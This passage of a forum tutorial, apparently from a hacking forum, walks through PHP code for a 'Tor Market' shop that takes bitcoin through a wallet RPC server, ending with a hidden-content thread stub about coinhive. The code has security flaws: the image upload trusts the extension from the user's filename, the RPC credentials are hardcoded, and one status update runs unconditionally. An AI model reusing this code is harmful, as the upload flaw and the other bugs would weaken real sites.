                            echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
                        }
                    }
                    else
                    {
                        echo "<h1 class=\"msgregisterfaild\">  Passwords does not matchs </h1>";
                    }
                 }
                 else
                 {   
                    echo "<h1 class=\"msgregisterfaild\">Uid does not exists </h1>";
                 } 
            }  
         }
    }
    function Logout()
    {
        unset($_SESSION["logedIn"]);
        session_destroy();
        header("location: login.php");
    }
    function getUserId()
    {
        if(isset($_SESSION['logedIn']) && $_SESSION['logedIn'] == true)
        {   
            
            if($stmt = $this->conn->prepare("SELECT `uid` FROM `users` WHERE `session`=(?) "))
            {
                $stmt->bind_param('s',$this->session);
                $stmt->execute();
                $stmt->store_result();
                
                if($stmt->num_rows > 0)
                {
                    $stmt->bind_result($uid);
                    $stmt->fetch();
                    $this->user_id = $uid;
                    return $this->user_id;
                }
                else
                {
                    return "0";
                }
            }
            else
            {
                echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
                return false;
            }
            
            return true;
        }
        else
        {
            return false;
        }
    }
}

Create 4 public variables the pass2 variable will only be used in the register function to compare it with the pass variable to check if the user has remembered what he entered for the registration the user_id variable will not be used in registration or login but still, this is a very important variable will use it in more than 1 function like CountNewOrders PayProduct getOrdersByUser
in the constructor will leave it empty but will store the user ID inside it in the function getUserId
And check if the session exists store the session inside this->session variable

In the function Register we check if the inputs are empty if empty display an error else if not empty add strip_tags() function to inputted username and use the mysqli::prepare function to check if the username is already registered by another user or still available if registered
Display the error message username already exists if not registered to check the password and password 2 if they match if not match display the error message passwords do not match if matches now hash the password using the function password_hash we only hash 1 password not both and create the registration date add the sessions final step store the user in database with the random session display success message and redirect the user to index.php and close the connection to database this function is finished

The Login function
Same as we did in the register but this time we are checking if the username is in the database then will check for the password and if the imputed password matches the password stored in the database then set the session and update the session in the database to verify the password we used the function password_verify if the password does not match show error message username or password does not match in both username not found and password does not match this will the system from brute force attack

The function changepassword
Here in this function we allow the users to change their password but we need first to secure it so we first check if the 2 passwords are equal this makes sure the user remembers the password he entered and then checks if the uid passed is already in the database if yes update the old password with new hashed password Where uid or userid is equal to the current logged in user id this step is an optional cause we already make securing pages steps

The logout function is where we delete the current session and update the database and set the session in the database empty

The function getUserId here is the function that we talked before about it this function is an important function using this function can retrieve the id of the current logged in user so we can use it when we retrieve the Orders purchased by the user, pay products by the user and CountNewOrders functions The class 2 is finished now its

The class number 3 creates a new class this class will handle everything about order count , pay products and add products display all and display a single product chosen by the user so I decided to name the class ProductSystem

PHP:Copy to clipboard

class ProductSystem
{
    public $product_id;
    public  $user_id ;
    function __construct()
    {
        global $conn;
        $this->conn = $conn;
        $_user = new users();
        $this->user_id = $_user->getUserId();
        if(isset($_GET["product_id"]))
        {
            $this->product_id =   $_GET["product_id"];
        }
        if(isset($_SESSION['session']))
        {
            $this->session = $_SESSION['session'];
        }
       
    }
    function fetch_all_products()
    {
        if($stmt = $this->conn->prepare('SELECT `product_id`,`product_name`,`product_image`,`product_price` FROM `products` ORDER BY `product_id` DESC'))
        {
            
            $stmt->execute();
            $stmt->store_result();
            $stmt->bind_result($product_id,$product_name,$product_image,$product_price);
            while($stmt->fetch())
            {
                ?>
                <ul> 
                    <li>
                        <a href="index.php?product_id=<?php echo $product_id; ?>"><img src="<?php echo $product_image; ?>"/></a>
                        <br/>
                        <a href="index.php?product_id=<?php echo $product_id; ?>"><?php echo $product_name; ?> </a>
                        <a href="index.php?product_id=<?php echo $product_id; ?>"><span style="color:#f26722;">Price : <?php echo $product_price; ?></span></a><br/>
                    </li>
                </ul> 
                <?php
            }
            $stmt->close();
        }
    }
    function getProductData()
    {
        if (filter_var($this->product_id, FILTER_VALIDATE_INT) == false)
        {
            echo "<h1 class=\"msgregisterfaild\" style='max-width:200px;'>Wrong Product id  </h1>";
        }
        else
        {
            
            if(isset($_POST["buy"]))
            {   
                $_secure = new secure();
                if($_secure->IsUserLogedIn() == false)
                {
                    echo "<h1 class=\"msgregisterfaild\" style='max-width:200px;'>  Please Login first to buy products  </h1>";
                }
                else
                {
                    $this->PayProduct();
                }
            }
        
            if($stmt = $this->conn->prepare("SELECT `product_id`,`product_name`,`product_description`,`product_image`,`product_price` FROM `products` WHERE `product_id`=(?)"))
            {
                $stmt->bind_param('s',$this->product_id);
                $stmt->execute();
                $stmt->store_result();
                $stmt->bind_result($product_id ,$product_name,$product_description,$product_image,$product_price);
                $stmt->fetch()
                
                ?>
                <form action="index.php?product_id=<?php echo $product_id; ?>" method="post">
                <ul> 
                    <li>
                        <img src="<?php echo $product_image; ?>"/>
                        <br/><br/>
                        <h3 ><?php echo $product_name."</h3><br/><b>".$product_description; ?> </b>
                        <b><?php echo $product_price; ?><b><br/><br/>
                        <button type="submit" name="buy">Buy now </submit>
                      
                    </li>
                </ul> <br/><br/>
                </form>
                <?php                
            }
        }
    }
    function getProductName()
    {
        if (filter_var($this->product_id, FILTER_VALIDATE_INT) == false)
        {
            exit( "<h1 class=\"msgregisterfaild\" style='max-width:200px;'>Wrong Product id  </h1>");
        }
        else
        {
            if($stmt = $this->conn->prepare("SELECT `product_id`,`product_name` FROM `products` WHERE `product_id`=(?)"))
            {
                $stmt->bind_param('s',$this->product_id);
                $stmt->execute();
                $stmt->store_result();
                $stmt->bind_result($product_id ,$product_name);
                $stmt->fetch();
                return $product_name;
            }
            else
            {
                echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
            }
        }
    }
    function getName($n) 
    {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $randomString = '';
    
        for ($i = 0; $i < $n; $i++) {
            $index = rand(0, strlen($characters) - 1);
            $randomString .= $characters[$index];
        }
 
        return $randomString;
    }
    function Add_New_Product()
    {
        $_secure = new secure();
        if($_secure->IsUserLogedIn() == false)
        {
            echo "<h1 class=\"msgregisterfaild\" style='max-width:200px;'>  Please Login first to buy products  </h1>";
        }
        else
        {
            if($stmt = $this->conn->prepare("SELECT `usergroup` FROM `users` WHERE `session`=(?) "))
            {
                $stmt->bind_param('s',$this->session);
                $stmt->execute();
                $stmt->store_result();
                $stmt->bind_result($usergroup);
                $stmt->fetch();
                
                if($usergroup == "1") // administrator
                {
                                    
                        $this->product_name  = strip_tags($_POST["product_name"]);
                        $this->product_desc  = strip_tags($_POST["product_desc"]);
                        $this->product_price = strip_tags($_POST["product_price"]);

                        if(filesize($_FILES["product_image"]["tmp_name"]) > 3145728)
                        {
                            echo "<h1 class=\"msgregisterfaild\">The file is to large</h1>";
                        }
                        else
                        {
                            $img_info = finfo_open(FILEINFO_MIME_TYPE);
                            $img_type = finfo_file($img_info, $_FILES["product_image"]["tmp_name"]);
                            $allowedTypes = [
                                'image/png' => 'png',
                                'image/jpeg' => 'jpg'
                            ];
                            if(in_array($img_type, array_keys($allowedTypes))) 
                            {
                                    $random_image_name  = $this->getName(10);
                                    $product_image      = basename($_FILES["product_image"]["name"]);
                                    $explode_image_name = explode(".",$product_image);
                            
                                    $product_image_extention =  $explode_image_name[1];
                                    $image_path = "imgs/".$random_image_name.".".$product_image_extention;
                                    if(move_uploaded_file($_FILES["product_image"]["tmp_name"], $image_path)) 
                                    {
                                        if($stmt = $this->conn->prepare("INSERT INTO `products` ( `product_name`, `product_description`, `product_image`, `product_price`) VALUES (?, ?, ?, ?); "))
                                        {
                    
                                            $stmt->bind_param('ssss',$this->product_name,$this->product_desc, $image_path,$this->product_price);
                    
                                            $stmt->execute();
                                            $stmt->close();
                                            echo "<h1 class=\"msgregistersuccess\">Product added successfully</h1>";
                                        }
                                        else
                                        {
                                            echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
                                        }
                                    }
                                    
                            }
                            else
                            {
                                echo "<h1 class=\"msgregisterfaild\">The file/image type are not allowed</h1>";
                            }
                        }
                }
                else
                {
                    echo "<h1 class=\"msgregisterfaild\">You dont have permission to do this action                    </h1>";
                }
            }
            else
            {
                echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
            }
            
        }

    }
    function getOrdersByUser()
    {
        if( $stmt = $this->conn->prepare("SELECT `uid`,`btc_receiver_address`,`product_id`,`deal_status` FROM `crypto_payment_system` WHERE `uid`=(?)  "))
        {
            
            $uid = $this->user_id;
            $stmt->bind_param("s",$uid);
            $stmt->execute();
            $stmt->store_result();
            if($stmt->num_rows > 0)
            {
                $stmt->bind_result($uid,$btc_receiver_address,$product_id,$deal_status);
                
                while($stmt->fetch())
                {
                  
                    if($stmts = $this->conn->prepare("SELECT `product_id`,`product_name`,`product_price` FROM `products` WHERE `product_id`=(?) ORDER BY `product_id` DESC "))
                    {
                        $stmts->bind_param("s",$product_id);
                        $stmts->bind_result($product_id,$product_name,$product_price);
                        $stmts->execute();
                        $stmts->store_result();
                        while($stmts->fetch())
                        {
                  
                    ?>
                        <tr>
                        <th><?php echo $product_id; ?></th>
                        <th><?php echo $product_name; ?></th>
                        <th><?php echo $product_price; ?></th>
                        <th><?php echo $btc_receiver_address; ?></th>
                        <th>
                            <?php 
                                if($deal_status == "initialized")
                                {
                                    echo "Deal not payed yet";
                                }
                                else if($deal_status == "payed")
                                {
                                    echo "Deal payed but not confirmed yet";
                                }
                                else if($deal_status == "confirmed")
                                {
                                    echo "Deal payed  and confirmed ";
                                }
                            ?>
                        </th>
                        </tr>
                        <?php 
                       }
                    }
                    else
                    {
                        echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
                    }  
                }
                $stmt->close();
            }
        }
        else
        {
            echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
        }
        ?>
         
        <?php 
    }
    function CountNewOrders()
    {
        if($stmt = $this->conn->prepare("SELECT `uid` FROM `crypto_payment_system` WHERE `uid`=(?) AND `deal_status`=(?)  "))
        {
            
            $uid = $this->user_id;
            $deal_status = "initialized";
            $stmt->bind_param("ss",$uid,$deal_status);
            $stmt->execute();
            $stmt->store_result();
            return $stmt->num_rows ;
        }
        else
        {
            echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
        }
    }

    function PayProduct()
    {
        $product_id = $_GET["product_id"];
        if (filter_var($product_id, FILTER_VALIDATE_INT) == false)
        {
            echo "<h1 class=\"msgregisterfaild\" style='max-width:200px;'>Wrong Product id  </h1>";
        }
        else
        {
            if($stmt = $this->conn->prepare("INSERT INTO `crypto_payment_system` (`deal_id`, `uid`, `btc_receiver_address`,  `product_id`, `deal_status`) VALUES (NULL,?,?,?,?) "))
            {   
                $_Payment_orders_system = new Payment_orders_system();
                $btc_address = $_Payment_orders_system->GenerateNewBitcoinAddress();
                $uid =$this->user_id;
                $deal_status = "initialized";
                $stmt->bind_param("ssss",$uid,$btc_address,$product_id,$deal_status);
                $stmt->execute();
                $stmt->close();
            }
            else
            {
                echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
            }
        }
    }
   
}

As we did before defining the public variables and initializing them in the contractor function but this time we used the function getuserid that we created in the class number 2 which is the user class one more thing is checking if the url has a product_id if yes has a value store the product id in variable $this->product_id

Fetch_all_products this function retrieves all available products in the database and displays them to retrieve the products in the first place we used the prepare function and added the SELECT statements but this time we did not use bind_param because there are no inputs or Select from Where but after executing the query and store it this time we used bind_results which will get the results from the database and we passed the data we need to retrieve as $variable one thing here I want to mention every single column you want to retrieve should be described in the mysql query statement so you can remove or add columns but when you remove or add columns on mysql statement you should do the same changes on bind_results

Finally we used the function $stmt->fetch() if you used the function without a loop it will retrieve the last added data so to retrieve them all should be added inside a while loop as we did in the code
The html section is available in index.php above I just copied the ul list and will make the required changes to the index.php when we finish the classes when we finish we close the connection

Function getProductData when we display all products the User needs to choose 1 product to view all data about it like diction or even pay it so to retrieve data for 1 product will do this using this function
This function is very similar to the function fetch_all_products but here we are retrieving data from mysql by id where id=$_get[product_id] and because of that because we are adding input from the user we need to secure this input or will face an Sql injection problem and the system will be vulnerable to hackers
Good thing php offers for us a ready to use function to filter data the function is
filter_var($this->product_id, FILTER_VALIDATE_INT) The first param is the data passed by the user and the second parameter is a type of data we need to filter in this case we are receiving product id this means the data type is an integer and we should only allow integers value to be passed to the mysql statement so we passed FILTER_VALIDATE_INT
So if this function fails it returns false and displays an error Wrong Product id and if returns true means the passed value is an integer then again we used mysqli::prepare to select the data where the database product id is equal to the id are passed by the user
And display it and add a form with the button pay so the user when clicks it will be added to his orders
But what if a guest tries to pay a product in case a guest clicks the pay button he will see please login message this thing is done by using the function $_secure->IsUserLogedIn()
This function we create it in class 2 user class
Okay so now if a registered user clicks pay the function pay will be invoked we have not write it yet but will do this Soon

Function getProductName
This function only retrieves the name of the product and the reason for creating this function is when a user chooses a product we need to change the title of the page to the product they are chosen by the user so we created this function with the same filters same sql query statements

Function Add_New_Product
The add product function from its name you can recognize is for adding new products first thing we did we check if the user logged in if not logged in displayed the error message Please Login first to buy products if logged in then check the user permissions if user are in administrator usergroups then allow the user to create or add new product if not administrator display error
For image upload we need to make the image name is random to fix the image name duplicated problem or the image will not be uploaded and the add product function will fail to fix this problem we can get generate a random number and use the function md5 to hash the random number and then upload the image and if the image uploaded success insert the product to the database

Function getOrdersByUser This function will get all the orders from the database but by the uid or the current logged in user id and retrieve the btc address and the order details so the user can send the bitcoin every order will have a different btc address so every order will have a unique btc address
The order status when paid by the user is initialized so this means the order generated but not paid and confirmed yet
And when the order gets paid and is not confirmed the status will be changed to payed
After the order is confirmed the status will be changed to confirmed

Function CountNewOrders in the navbar we need to display the available new orders he paid
So we select the orders by the deal_status initialized and user_id equal to the current logged in user id

Function PayProduct
In this function we do the pay function which we get the product id the user chooses to pay and add it to the user orders and add by the userid so the order if you dont add the user id you will add the product to all market members
Inside this function we need to generate a new btc address we can do this using the function
GenerateNewBitcoinAddress from class Payment_orders_system this class has not been created yet will add it when we finish now from this class

So the class number 4 is finally finished now the class number 5 and this will be the last class

PHP:Copy to clipboard

class Payment_orders_system
{
    public  $rpchost;
    public  $rpcport;
    public  $rpcuser;
    public  $rpcpass;
    public  $rpcurl;
    function __construct()
    {
        global $conn;
        $this->conn = $conn;
        $this->rpchost = "127.0.0.1";
        $this->rpcport = "8888";
        $this->rpcuser = "user";
        $this->rpcpass = "1234";
        $this->rpcurl = "http://".$this->rpcuser.":".$this->rpcpass."@".$this->rpchost.":".$this->rpcport;
    }
    function RPC_CONNECT($method,array $params=[])
    {
        $this->data = [
            "id" => "curltext",
            "method" => $this->method,
            "params" => $params,
        ];
        $this->data = json_encode($this->data);
        //var_dump($this->data);
        // echo "\n\n\n";
        $this->ch = curl_init();
        curl_setopt($this->ch, CURLOPT_URL, $this->rpcurl );
        curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($this->ch, CURLOPT_POST, 1);
        curl_setopt($this->ch, CURLOPT_POSTFIELDS, $this->data);
        curl_setopt($this->ch, CURLOPT_HTTPHEADER, ["Content-type: application/json"]);
        $this->response = curl_exec($this->ch);
        curl_close($this->ch);
        return json_decode($this->response, true)["result"];
    }
    function GenerateNewBitcoinAddress()
    {
        $this->method = "createnewaddress";
        return  $this->RPC_CONNECT($this->method);
    }
    function GetBitcoinAddressBalance($BitcoinAddress)
    {
        $this->method = "getaddressbalance";
        $param  = ["$BitcoinAddress"];
        return $this->RPC_CONNECT($this->method,$param);
    }
    function CheckTransactionsStatus()
    {
        if($stmt = $this->conn->prepare("SELECT `deal_id`,`uid`,`product_id`,`btc_receiver_address`,`deal_status` FROM `crypto_payment_system` WHERE deal_status != (?)"))
        {
            $dealstatus = "confirmed";
            $stmt->bind_param('s',$dealstatus);
            $stmt->execute();
            $stmt->store_result();
            
          
            if($stmt->num_rows > 0)
            {
                // echo $stmt->num_rows;
                $stmt->bind_result($deal_id,$uid,$product_id,$btc_receiver_address,$deal_status);
                while($stmt->fetch())
                {
                    if($q = $this->conn->prepare("SELECT `product_id`,`product_price` FROM `products` WHERE `product_id`=(?) "))
                    {
                        $q->bind_param('s',$product_id);
                       
                        $q->execute();
                        $q->store_result();
                      
                        if($q->num_rows > 0)
                        {
                            $q->bind_result($product_id,$product_price);
                            $q->fetch();
                            $balance = $this->GetBitcoinAddressBalance($btc_receiver_address);
                            echo "Address : ".$btc_receiver_address;  
                            echo "<br/>";
                            echo "product_price : ".$product_price;
                            echo "<br/>";
                            echo "Confirmed : ".$confirmed = $balance["confirmed"];
                            echo "<Br/>";
                            echo "UnConfirmed : ".$Unconfirmed = $balance["unconfirmed"];
                            echo "<Br/>";
                            if($balance["unconfirmed"] == 0 && $balance["confirmed"] == 0)
                            {
                                echo "Deal not payed yet<br/>";
                                continue;
                            }
                            else  
                            {
                                    // echo "pid : $product_id";
                                    // payment done but not confirmed
                                    if($balance["unconfirmed"] > (float)0) // check if there any payment are made
                                    {
                                      
                                        if($product_price <= $balance["unconfirmed"])
                                        {
                                           
                                            if($squ = $this->conn->prepare("UPDATE `crypto_payment_system` SET `deal_status` = 'payed' WHERE `deal_id` = (?) "))
                                            {
                                                $squ->bind_param('s',$deal_id);
                                                $squ->execute();
                                                echo "Deal payed but not confirmed yet<br/><Br/><Br/>";
                                                $squ->close();
                                            }
                                        }                                        
                                    }
                                    else
                                    {
                                        // payment payed and confirmed
                                        if($product_price <= $balance["confirmed"]  )
                                        {
                                           if($squ = $this->conn->prepare( "UPDATE `crypto_payment_system` SET `deal_status` = 'confirmed' WHERE `deal_id` = (?) "));
                                           {
                                                $squ->bind_param('s',$deal_id);
                                                $squ->execute();
                                                echo "Deal payed  and confirmed <br/><Br/><Br/>";
                                                $squ->close();
                                           }
                                        }
                                    }
                            } 
                        }
                        $q->close();
                    }
                    else
                    {
                        echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
                    }
                }
                $stmt->close();
            }
        }
        else
        {
            echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
        }

   
    }
}

Create a new class this class will handle the payments and check the transaction status initialized, paid, and confirmed and if the payment changed will update the database
So I named the class as Payment_orders_system

The first thing we need to do is initialize the rpc server connect details that we created at the start of this tutorial

In the RPC_CONNECT function will initialize the curl and rpc data
The rpc server receives json and responds with also json there are 2 params that the servers need to respond to us the first one is the method
The method means get_blance , generatenew address , getaddressbalance

Different between get_blance and getaddressblanace is that getbalance will retrieve the whole wallet balance so this will not be used in the system because we need to retrieve the balance for the address are generated for the user so will use the method getaddressbalance

The parameter param by default should be an empty array but when we use some methods such as getaddressbalance will use it to send the generated btc address and the server will respond with the address balance not the wallet wallet balance

After converting the data from array to json type and sending the command to the server it replays with the start key result to parse the json will use the json_decode function and get the result key finally the data that received from the server will be returned

Function GenerateNewBitcoinAddress
In this function we pass the method createnewaddress to the function RPC_CONNECT
And the RPC_CONNECT function will replay with the newly generated address

This address or this function will be used when the function PayProduct invoked

Function GetBitcoinAddressBalance
The function is responsible for retrieving the balance of a specific address
This function will be used in the function CheckTransactionsStatus

Function CheckTransactionsStatus
Here we got all transactions or deals in the database with any deal_status other than confirmed so if the transaction is not confirmed will get the address of the order from the database and use the function GetBitcoinAddressBalance to get the balance and then check if the unconfirmed balance and confirmed balance are equal to zero this means the payment not paid yet
But if the balance is greater then we check if the unconfirmed balance is equal to or greater than the product price if less than the payment will be ignored! to protect the system from attacks
For example, a product pierced is 50$ and the user sends 25$ in this way we protect ourselves from losing money then we skip the transaction

If the price is greater or equal product price then will update the database and set the
Deal_status paid This means the payment is paid but not confirmed on the blockchain network

Else if the confirmed balance is equal to or greater than the product price then update the database and set the deal_status confirmed and now the payment is done and the administrator can send the product to the user

OK Close the classes file because we finished everything in this file

Open the register.php in your editor and on the top before any html code add this code

PHP:Copy to clipboard

<?php 
//4
session_start();
define("FILE_ACCESS_PERMISSION",true);
require_once("includes/php/classes.php");
require_once('includes/php/db.sql.php');
$secure = new secure();
$secure->secureLoginRegisterPage();

?>
<!DOCTYPE HTML>
<html lang="en">
    <head>
            <title>user register</title>
            <link rel="stylesheet" type="text/css" href="includes/style/main.css?v=<?php echo time(); ?>" />
    </head>
<body>
<?php    require_once('includes/php/navbar.php'); ?>
    <div id="registerLoginTable"><center>
    <form action="register.php" method="post">
        <h1>Register</h1>
        <table cellpadding="0" cellspacing="0" border="0">
            <thead colspan="2">
            <tr><th colspan="2">
                <?php 
                       if(isset($_POST["register"]))
                       {
                            $_users = new users($_POST["username"],$_POST["password"],$_POST["password2"]);
                            $_users->register();
                          
                       }
                ?>
            </tr> </thead>
            <tbody>
                <tr><th>Username : </th><td><input type="text" name="username" required/></td></tr>
                <tr><th>Password : </th><td><input type="password" name="password" required/></td></tr>
                <tr><th>Confirm Password : </th><td><input type="password" name="password2" required/></td></tr>
            </tbody>
            <tfoot>
                <tr><td><button type="submit" name="register" >Register</button></td> </tr>
            </tfoot>
        </table>
        </form>
    </center></div>
    <div id="footer">
        <center>
            <b>Coded by <a href="#">0x43rypt0n</a> </b>
        </center>
    </footer>
</body>
</html>

So we start the session define FILE_ACCESS_PERMISSION before including the classes.php file so we can use it to include the classes.php and db.sql.php

Create a new object from the class secure and use the function secureLoginRegisterPage

After the html body tag remove the navbar and add it to the navbar.php open the navbar.php
File and we need to make some changes like hide and show some pages are only be shown for registered users and some of them for admins like adding new products so we use the function $secure->IsUserLogedIn() from class secure if the user not registered show login and register page If the user registers hide the login and register page and show orders, change password, logout and inside the if we add other if to check if the user is admin and if the user is admin show the page add product also there are 1 page shown for all users type like index.php and the logo of the market
Inside the if statement on the order link we used the function CountNewOrders inherited from the class ProductSystem

PHP:Copy to clipboard

<?php 
if(!defined("FILE_ACCESS_PERMISSION"))
{
    exit('Direct access to this file is not allowed ');
}
    ?>
        <div id="nav">
        <ul>
            <li><b><a href="index.php" >Tor Market</a></b></li>
            <li><a href="index.php">Home</a></li>
            <?php 
                if($secure->IsUserLogedIn() == false)
                {
                    ?>
                        <li><a href="register.php">Register</a></li>
                        <li><a href="login.php">Login</a></li>
                    <?php 
                }
                else if($secure->IsUserLogedIn() == true)
                {
                    $_products = new ProductSystem();
                    //CountNewOrders
                    ?>
                        <li><a href="usercp.php?addproduct">Add Product</a></li>
                        <li><a href="usercp.php?orders">Orders <span style="color:#f26722"> (<?php echo $_products->CountNewOrders(); ?>)</span></a></li>
                        <li><a href="usercp.php?changepassword" >change password</a></li>
                        <li><a href="logout.php">Logout</a></li>
                    <?php 
                }
            ?>
        </ul>
    </div>
    <?php
?>

Now the navbar.php is finished we can now move back to register to php also you can now remove the navbar from all pages and include it from the navbar.php

Now in the file register.php in the table create a new object from the class users and invoke the function register and pass all the inputs this now will make the registration form are ready and new users can be registered
Same thing we need to make in the login.php but this time after creating a new instance from the class users add the function login and then pass the inputs needed like username and password

PHP:Copy to clipboard

<?php 
session_start();
define("FILE_ACCESS_PERMISSION",true);
require_once("includes/php/classes.php");
require_once('includes/php/db.sql.php');
$secure = new secure();
$secure->secureLoginRegisterPage();



?>
<!DOCTYPE HTML>
<html lang="en">
    <head>
            <title>user login</title>
            <link rel="stylesheet" type="text/css" href="includes/style/main.css?v=<?php echo time(); ?>" />
    </head>
<body>
<?php   require_once('includes/php/navbar.php');?>

    <div id="registerLoginTable"><center>
    <form action="login.php" method="post">
        <h1>Login</h1>
        <table cellpadding="0" cellspacing="0" border="0">
            <thead colspan="2">
            <tr><th colspan="2">
                <?php 
                       if(isset($_POST["login"]))
                       {
                            $_users = new users($_POST["username"],$_POST["password"]);
                            $_users->login();
                       }
                ?>
            </tr> </thead>
            <tbody>
                <tr><th>Username : </th><td><input type="text" name="username" required/></td></tr>
                <tr><th>Password : </th><td><input type="password" name="password" required/></td></tr>
            </tbody>
            <tfoot>
                <tr><td><button type="submit" name="login" >login</button></td> </tr>
            </tfoot>
        </table>
        </form>
    </center></div>
    <div id="footer">
        <center>
            <b>Coded by <a href="#">0x43rypt0n</a> </b>
        </center>
    </footer>
</body>
</html>

Close all opened files and open logout.php create a new instance from the user class and use the logout function this page will run every time a user clicks logout on the navbar and unset the session

PHP:Copy to clipboard

logout.php

PHP:Copy to clipboard

<?php 
session_start();
define("FILE_ACCESS_PERMISSION",true);
require_once("includes/php/classes.php");
require_once('includes/php/db.sql.php');
$secure = new secure();
// $secure->SecurePages();



?>
<!DOCTYPE HTML>
<html lang="en">
    <head>  
        <?php 
          $_products = new ProductSystem();
          if(isset($_GET["product_id"]))
          {
            echo "<title>Product |   ".$_products->getProductName()." </title>";
          }
          else
          {
            echo "<title>Products</title>";
          }        
        ?>
            
            <link rel="stylesheet" type="text/css" href="includes/style/main.css?v=<?php echo time(); ?>" />
    </head>
<body>


<?php  
 require_once('includes/php/navbar.php');
      
    ?>
  
  <center>
    <?php
        if(isset($_GET["product_id"]))
        {
            ?>
              <div id="display_product">
                <?php 
                    $_products->getProductData();
                ?>
                </div>
            <?php 
        }
        else
        { 
    ?>
    <div id="Products">
        
        <?php   $_products->fetch_all_products(); ?>
    </div>
    <?php      
        }
    ?></center> 
    
    
<br/><br/><div style="clear:both;"></div>
    <div id="footer" >
        <center>
            <b>Coded by <a href="#">0x43rypt0n</a> </b>
        </center>
    </footer>
</body>
</html>

The index.php has 2 objectives 1 to display all the products from the database by retrieving them from the database using the function fetch_all_products from the class ProductSystem

And the second job is to display 1 product are chosen by the user when he clicks on the product and this will hide All products and display the the product details and pay button this option shows and runs when a product_id is detected in the url
The title is dynamic, not static what do I mean? I mean if the product shows all products this will display the market name as the title but if the target chooses a product the title will be changed to the market name and product name the product name retrieved by the function getProductName

There are 2 files left on the usercp.php page and the checktransactions.php file this file will not be a direct access file or options for users or admin
This file should run every 5 minutes automatically to check the available payments status and check the transactions paid or not using the function CheckTransactionsStatus from class Payment_orders_system and to make the file run automatically we need to add it to the crontab or cronjob so everything in the system will be automatic and does not require the administrator to update it

checktransactions.php

PHP:Copy to clipboard

<?php 
session_start();
define("FILE_ACCESS_PERMISSION",true);
require_once("includes/php/classes.php");
require_once('includes/php/db.sql.php');
$_Payment_orders_system = new Payment_orders_system();
$_Payment_orders_system->CheckTransactionsStatus();             
?>

Usercp.php

PHP:Copy to clipboard

<?php 
session_start();
define("FILE_ACCESS_PERMISSION",true);
require_once("includes/php/classes.php");
require_once('includes/php/db.sql.php');

$secure = new secure();
if($secure->IsUserLogedIn() == false)
{
    header("location: login.php");
}
// $secure->SecurePages();



?>
<!DOCTYPE HTML>
<html lang="en">
    <head>
            <title>Home page </title>
            <link rel="stylesheet" type="text/css" href="includes/style/main.css?v=<?php echo time(); ?>" />
    </head>
<body>
<?php   
require_once('includes/php/navbar.php');
    $_products = new ProductSystem();
    if(isset($_GET["addproduct"]))
    {
        if($secure->SecureAdminPages() == false)
        {
            header("location: index.php");
        }
        ?>
            <div id="registerLoginTable"><center>
                <form action="usercp.php?addproduct" method="post" enctype="multipart/form-data">
                    <h1>Product Details</h1>
                    <table cellpadding="0" cellspacing="0" border="0">
                        <thead colspan="2">
                        <tr><th colspan="2">
                        <?php   
                            if(isset($_POST["addproduct"]))
                            {
                                $_products->Add_New_Product();
                            }
                        ?>
                        <!-- <h1 class="msgregistersuccess">Add new product</h1></th> -->
                        </tr> </thead>
                        <tbody>
                        <tr><th>Product Name  : </th><td><input type="text" name="product_name" required/></td></tr>
                        <tr><th>Product Description  : </th><td><input type="text" name="product_desc" required/></td></tr>
                        <tr><th>Product Price In bitcoin : </th><td><input type="text" name="product_price" required/></td></tr>
                        <tr><th>Product Image : </th><td><input type="file" name="product_image" required/></td></tr>
                
                        </tbody>
                        <tfoot>
                            <tr><td><button type="submit" name="addproduct" >Add product</button></td> </tr>
                        </tfoot>
                    </table>
                    </form>
                </center></div>

    <?php
    }
    else if(isset($_GET["orders"]))
    {
        
        ?>
    <div id="registerLoginTable"><center>
    
    <h1>Orders</h1>
    <table cellpadding="0" cellspacing="0" border="0" class="orders">
        <thead colspan="2">
        <tbody>
            <tr>
                <th>Product Id</th>
                <th>Product Name</th>
                <th>Product Price </th>
                <th>Btc Address</th>
                <th>Payment Status</th>
            </tr>
           <?php $_products->getOrdersByUser();?>
        </tbody>
    </table>
</center></div>
           
        <?php
    }
    else if(isset($_GET["changepassword"]))
    {
        
        ?>
            <div id="registerLoginTable"><center>
    <form action="usercp.php?changepassword" method="post">
        <h1>Change password</h1>
        <table cellpadding="0" cellspacing="0" border="0">
            <thead colspan="2">
            <tr><th colspan="2">
                <?php 
                       if(isset($_POST["changepassword"]))
                       {
                            $users = new users("",$_POST["password"],$_POST["password2"]);
                            $users->changepassword();
                       }
                ?>
            </tr> </thead>
            <tbody>
                <tr><th>Password : </th><td><input type="password" name="password" required/></td></tr>
                <tr><th>Confirm Password : </th><td><input type="password" name="password2" required/></td></tr>
            </tbody>
            <tfoot>
                <tr><td><button type="submit" name="changepassword" >Change Password</button></td> </tr>
            </tfoot>
        </table>
        </form>
    </center></div>
        <?php 
    }
?>
    <div id="footer">
        <center>
            <b>Coded by <a href="#">0x43rypt0n</a> </b>
        </center>
    </footer>
</body>
</html>

So in the usercp or user control panel, there are different objectives or jobs for this page 1 - password change 2- add product 3 - orders

All these functions will be used from the same php page usercp.php
At the top of the page create a new object from the class secure and initiate the function
IsUserLogedIn
To detect the current action needed or want to execute will use $_GET[“addproduct”]
For example to detect if users want to add a new product
Inside the addproduct initiate the function SecureAdminPages because this function will be only available to the administrator

Now open your terminal and type crontab -e and add this cronjob
*/5 * * * * /usr/bin/php7.4 /var/www/html/checktransactions.php

Change the php path to your php path and change the checktransactions file to your path also or the cronjob will not work

the tutorial is finished all the codes for the full project are published in tags so you can copy them ! thanks for reading and see you in new tutorial

coinhive-chrome-mozilla
ID: 67668b27b4103b69df375d87
Thread ID: 52755
Created: 2021-06-10T13:25:45+0000
Last Post: 2021-06-10T13:25:45+0000
Author: EmeliRouse
Replies: 0 Views: 747

Hidden content for authorized users.

